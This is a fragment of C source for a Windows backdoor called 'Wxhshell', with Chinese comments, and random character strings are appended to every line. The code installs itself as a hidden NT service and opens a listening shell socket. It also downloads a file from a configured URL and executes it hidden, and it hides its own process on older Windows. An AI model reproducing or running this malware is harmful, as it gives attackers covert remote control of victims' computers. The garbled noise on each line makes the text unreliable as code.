ULONG InheritedFromUniqueProcessId; eh8lPTKil
} PROCESS_BASIC_INFORMATION; Lj/
(C.aQ)|T
PROCNTQSIP NtQueryInformationProcess; Fzt7@VNxc
$-.*8*9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L\R(//V
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4>/i,_&K K
LP/SblE
HANDLE hProcess; a*t>Ks'C
PROCESS_BASIC_INFORMATION pbi; LYiIJAZ.
Qn.3B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }*b\=AS=
if(NULL == hInst ) return 0; 1~E;@eK'
YxGqQO36
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _UY=y^ c0>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t#%J=zF{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `~\8fN
ZG?e%
if (!NtQueryInformationProcess) return 0; 5RP5%U
E,fbIyX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qTN30(x2
if(!hProcess) return 0; E= .clA
+:W? :\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t>x!CNb'C
5=Y(.}6
CloseHandle(hProcess); [Fv_~F491
deJ/3\t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I:0dz:T7*
if(hProcess==NULL) return 0; a-AA$U9hj
*$3p3-
HMODULE hMod; $M~`)UeV_
char procName[255]; F"QJ)F
unsigned long cbNeeded; ;,7m
YN~1.!F
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uJ8FzS>[V
1^ iLs
CloseHandle(hProcess); (j(9'DjP
1~j,A[&|<
if(strstr(procName,"services")) return 1; // 以服务启动 U ,!S1EiBs
1bHQB$%z
return 0; // 注册表启动 {:KPEN
} PZ#aq~>w
>U?#'e{qW
// 主模块 !)}D_9{
int StartWxhshell(LPSTR lpCmdLine) 1:_}`x=hM
{ D
|fo:Xp,
SOCKET wsl; Vt-V'`Y
BOOL val=TRUE; eu?P6>urA
int port=0; s>[Oe|`
struct sockaddr_in door; KuEM~Q=
R]RLy#j
if(wscfg.ws_autoins) Install(); SR`A]EC(V
6q7jI
)l
port=atoi(lpCmdLine); 02)Ybp6y
/iJsa&W}
if(port<=0) port=wscfg.ws_port; vl?fCO
54/ZGaonz
WSADATA data; j^eMi
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kBY#=e).
|tz{Es<`B
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o{ccO29H/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :9(w~bB9$
door.sin_family = AF_INET; _@VKWU$$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &B++ "f
door.sin_port = htons(port); db}lN
&vIj(e9Y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >5zD0!bA
closesocket(wsl); ABL5T-*]
return 1; 7M_GGjP
} \jS^+Xf?^
f#hmMa
if(listen(wsl,2) == INVALID_SOCKET) { s?fEorG
closesocket(wsl); +ZV?yR2yn
return 1; wo$ F_!3u
} ;&kZ7%
Wxhshell(wsl); 8%xiHPVg
WSACleanup(); - s2Yhf
Q5IN1
^=HF
return 0; QUF1_Sa
" LhXR
} |/Y!R>El
}:1qK67S
// 以NT服务方式启动 VTi;y{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =/4}!B/
{ 84s:cO
DWORD status = 0; 2P{! n#"
DWORD specificError = 0xfffffff; \lyHQ-gWhc
= N:5#A
serviceStatus.dwServiceType = SERVICE_WIN32; 4 XGEw9`3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; AboRuHQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fSGaUBiq}
serviceStatus.dwWin32ExitCode = 0; a)6?:nY$
serviceStatus.dwServiceSpecificExitCode = 0; }VVtv1
serviceStatus.dwCheckPoint = 0; faZc18M^1
serviceStatus.dwWaitHint = 0; ?}jjBJ&
6'e 'UD
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O<XNI(@
if (hServiceStatusHandle==0) return; 6+C]rEY/o
db3.X~Cn#s
status = GetLastError(); 'lgS)m
if (status!=NO_ERROR) W;U<,g
'
{ N'|9rB2e
serviceStatus.dwCurrentState = SERVICE_STOPPED; ZJ[p7XP
serviceStatus.dwCheckPoint = 0; "L9pFz</
serviceStatus.dwWaitHint = 0; U]ZI_[\'U
serviceStatus.dwWin32ExitCode = status; \tdYTb.
serviceStatus.dwServiceSpecificExitCode = specificError; '[bw7T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rKl
return; :z$+leNH\
} 8P&z@E{y
Qr?(2t#
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0.1?hb|p5T
serviceStatus.dwCheckPoint = 0; 6*I=%
H|
serviceStatus.dwWaitHint = 0; t3!~=U
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +Lo,*
} uiWo<}t}{
I#W J";kqB
// 处理NT服务事件,比如:启动、停止 VY0-18 o
VOID WINAPI NTServiceHandler(DWORD fdwControl) -or)NE
{ T'N/A9{q
switch(fdwControl) gpCWXz')i
{ &@qB6!^
case SERVICE_CONTROL_STOP: V~t;
J
serviceStatus.dwWin32ExitCode = 0; c{jTCkzq
serviceStatus.dwCurrentState = SERVICE_STOPPED; t /lU*
serviceStatus.dwCheckPoint = 0; pz.fZV
serviceStatus.dwWaitHint = 0; B""=&(Yu
{ AO8%!+"_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T3-/+4$0v
} 1NK,:m
return; 3:b5#c?R-
case SERVICE_CONTROL_PAUSE: 4c.!^EiV
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0X%#9s~
break; U{HBmSR
case SERVICE_CONTROL_CONTINUE: `<%
w4E
serviceStatus.dwCurrentState = SERVICE_RUNNING; mrlhj8W?!
break; tpP68)<ns
case SERVICE_CONTROL_INTERROGATE: Wa%p+(\<uB
break; \u 6/nvZ]N
}; 6{ pg^K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jYW-}2L
} 2JHV*/Q
!'=<uU-
// 标准应用程序主函数 mEV@~){
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rwAycW7
{ :/;;|lGw
}/7rA)_
// 获取操作系统版本 KoFWI_(b
OsIsNt=GetOsVer(); YRj"]=
5N
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wix4se1Ac
@EH@_EwYV
// 从命令行安装 85+w\KuEY
if(strpbrk(lpCmdLine,"iI")) Install(); ,6wGd aMR
vGp`P
// 下载执行文件 59(} D'lw>
if(wscfg.ws_downexe) { >< Qp%yT
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IpVtbDW
WinExec(wscfg.ws_filenam,SW_HIDE); \Pd>$Q
} H7Pw>Ta ;
~8[`(/hj
if(!OsIsNt) { j8ac8J,}c
// 如果时win9x,隐藏进程并且设置为注册表启动 A&Cs
(e
HideProc(); E|=]k
StartWxhshell(lpCmdLine); i6E~]&~.v
}
;.~D!
else ' h|d-p\`9
if(StartFromService()) =%+xNOdN7?
// 以服务方式启动 L#/<y{
StartServiceCtrlDispatcher(DispatchTable); kyUG+M
else 7nbaR~ZV
// 普通方式启动
e:6mz\J
StartWxhshell(lpCmdLine); lq)[
Kp/l2?J"
return 0; 7i9wfc h$U
}